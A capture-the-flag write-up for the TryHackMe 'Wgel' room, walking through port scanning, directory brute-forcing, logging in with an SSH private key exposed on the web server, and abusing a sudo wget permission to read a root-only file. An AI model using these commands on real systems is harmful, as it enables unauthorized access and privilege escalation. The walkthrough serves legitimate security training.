December 28, 20223 minutes

https://tryhackme.com/room/wgelctf

Attacker IP = 10.10.10.10

Target IP = 10.10.176.77

Reconnaissance#

First of all, we check whether the machine is up and which OS it runs

❯ ping -c 1 10.10.176.77
PING 10.10.176.77 (10.10.176.77) 56(84) bytes of data.
64 bytes from 10.10.176.77: icmp_seq=1 ttl=63 time=108 ms

--- 10.10.176.77 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 108.118/108.118/108.118/0.000 ms

In this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is most likely Linux

Port scan (nmap)#

Now we start with a port scan

nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.176.77 -oG allPort

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.176.77
   5   │     [*] Open ports: 22,80
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴─────────────────────────────────────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services on those ports and run basic reconnaissance scripts

❯ nmap -p22,80 -sC -sV 10.10.176.77 -oN target

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 94961b66801b7648682d14b59a01aaaa (RSA)
|   256 18f710cc5f40f6cf92f86916e248f438 (ECDSA)
|_  256 b90b972e459bf32a4b11c7831033e0ce (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web#

There is a website running on port 80; with whatweb we can get some information about it.

❯ whatweb 10.10.176.77
http://10.10.176.77 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.176.77], Title[Apache2 Ubuntu Default Page: It works]

With ctrl + u we can view the page source, where there is a commented line with a message: <!-- Jessie don't forget to udate the webiste -->. From this we can guess there is a user called Jessie

wfuzz and gobuster (subdirectories)#

With wfuzz we are going to look for subdirectories using the wordlist at /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt with the following command

❯ wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 10.10.176.77/FUZZ

It reports the /sitemap subdirectory, which contains a website with many sections. With wfuzz again, we look for subdirectories under sitemap using the same command, but changing the target from 10.10.176.77/FUZZ to 10.10.176.77/sitemap/FUZZ. It doesn’t find anything, so we try gobuster with another wordlist located at /usr/share/wordlists/dirb/common.txt.

gobuster dir -u http://10.10.176.77/sitemap/ -w /usr/share/wordlists/dirb/common.txt

Foothold#

Now it reports several subdirectories, including a .ssh one, which contains an RSA private key

To connect over SSH, we save it in a file called id_rsa and connect as the user Jessie we found earlier, using the key we found

chmod 600 id_rsa

ssh -i id_rsa [email protected]

User flag#

The flag is in /home/jessie/Documents/user_flag.txt.

Root flag#

With sudo -l we can see that we can run wget as root without a password. At https://gtfobins.github.io/gtfobins/wget/#shell we can see there is a way to read files by abusing wget. Assuming the flag is in /root/root_flag.txt, we should be able to read it with the following commands

LFILE=/root/root_flag.txt

wget -i $LFILE

We have the flag!!!